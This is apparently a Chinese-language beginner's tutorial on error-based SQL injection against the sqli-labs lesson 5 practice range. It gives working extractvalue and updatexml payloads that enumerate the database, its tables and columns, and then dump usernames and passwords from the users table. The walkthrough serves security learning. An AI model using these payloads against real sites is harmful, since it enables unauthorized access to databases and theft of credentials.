本人小白一个欢迎大佬指出问题,有疑问的师傅也可以留言我们可以一起探讨一下共同进步。
报错注入sql注入题中必不可少的部分
在报错注入中我们照样需要先进行注入点的测试
?id=1' order by 3--+
在靶场5中照样只有3个注入点
第一步:注出数据库
?id=1' union select 1,database(),3--+
但是发现和之前的联合查询时的回显结果不一样并没有注出我们的数据库。
这就是一个很经典的sql报错注入的例题了,报错注入适用于没有回显的情形。
报错注入原理:
由于某些函数的神奇操作会使得传入参数先运行,而被报错抛出,能够直接查看参数的运行情况,因而实现查询。
那么介绍一下两种函数
1.extractvalue的报错注入
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
报错注出数据库
在这条语句中我们来简单解释一下:
extractvalue函数是MySQL中的一个函数,用于从XML文档中提取指定路径的值。在sql注入中会引起安全漏洞。
0x7e通常表示十六进制的ASCII字符,代表着’~‘这个符号,用于标识目前不知道存在什么特殊作用。
我们可以测试一下
?id=1' and extractvalue(1,concat(0x7e,(select database()),1))--+
可以发现security数据库后面的闭合符号由原来的‘~’变成了‘1’
2.updatexml的报错注入
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
一样可以爆出数据库回显内容与extractvalue报错注入内容一致。
一样的我们对语句进行一个解释:
updatexml函数是一个用于处理 XML 数据的 SQL 函数,主要用于查询和更新 XML 数据中的某些部分。
第二步:注出数据库中的表
1.extractvalue的报错注入
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')))--+
师傅们可以看到上面这条语句我们往可以执行指令的地方插入了一条正确的语句,但是
报错了:子查询返回1行以上
那么在这里就需要使用到我们的另一个函数了
limit函数用于限制查询结果返回数量的 SQL 关键字
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+
可以看到我们在加上了limit函数之后回显了一个emails
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1)))--+
如果是将语句中的limit 0,1改为limit 1,1就会回显出另一个表referers
那么如果将limit 0,1改写为limit 0,2会出现什么内容呢?
?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,2)))--+
错误:子查询返回1行以上
哈哈报错了那么我现在就来讲一下为什么会报错:
limit 0,1
代表的是第一列第一行
limit 1,1
代表着第二列第一行
limit 0,2
代表的是第一列第二行
但是呢在前面我们说过了如果行数太多了就不会回显而是会报错。
之后呢2我们可以一个个爆出所有的表。
2.updatexml的报错注入
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
updatexml和extractvalue函数的注入基本一致就不再过多的赘述了。
第三步:注出数据库中的表中的列
这里我们依旧选择含有个人敏感信息的users表
1.extractvalue的报错注入
?id=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+
也是一样的一个一个的注出列
2.updatexml的报错注入
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)--+
一样不在过的的赘述
第四步:注出敏感信息
1.extractvalue的报错注入
?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(username,password),11,32)from users)))--+
那么有些师傅就会发现为什么会多了一个substring函数,我们需要使用这个函数吗?
如果去掉substring函数:
?id=1' and 1=extractvalue(1,concat(0x7e,(select (group_concat(username,password))from users)))--+
我们会发现得到的数据内容并不完全,所以师傅们应该可以想到了substring函数就是用来进行提取数据内容的了。
substring函数是一个用于提取字符串子串的 SQL 函数。
什么意思呢,我们该怎样理解?
substring(group_concat(id,username,password),1,32)
后面存在数字而我们想要得到所有的数据就是利用后面的数字
?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(username,password),25,30)from users)))--+
可以看到当从1到32改为25到30时有新的数据回显了根据这个不断更改我们的语句就可以得到一个完整的数据了。
2.updatexml的报错注入
?id=1' and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1)--+
一样的我们想要得到所有的数据内容需要不断的更改语句。
总结一下
有的看的仔细师傅会有疑问为什么有的我使用的查询数据时语句的内容是
group_concat(username,password)
有的是
group_concat(username,0x7e,password)
两个语句最终都会得到正确的数据,但是得到正确数据之前的回显内容不同。是不是感觉很难以理解这句话的涵义。我可以告诉师傅们id当中
这其中的不同是为什么,希望师傅们自己去测试一下,自己去理解。因为我自身的语言表达能力有欠缺,解释不清楚。
纸上得来终觉浅,绝知此事要躬行啊,各位师傅路就在脚下。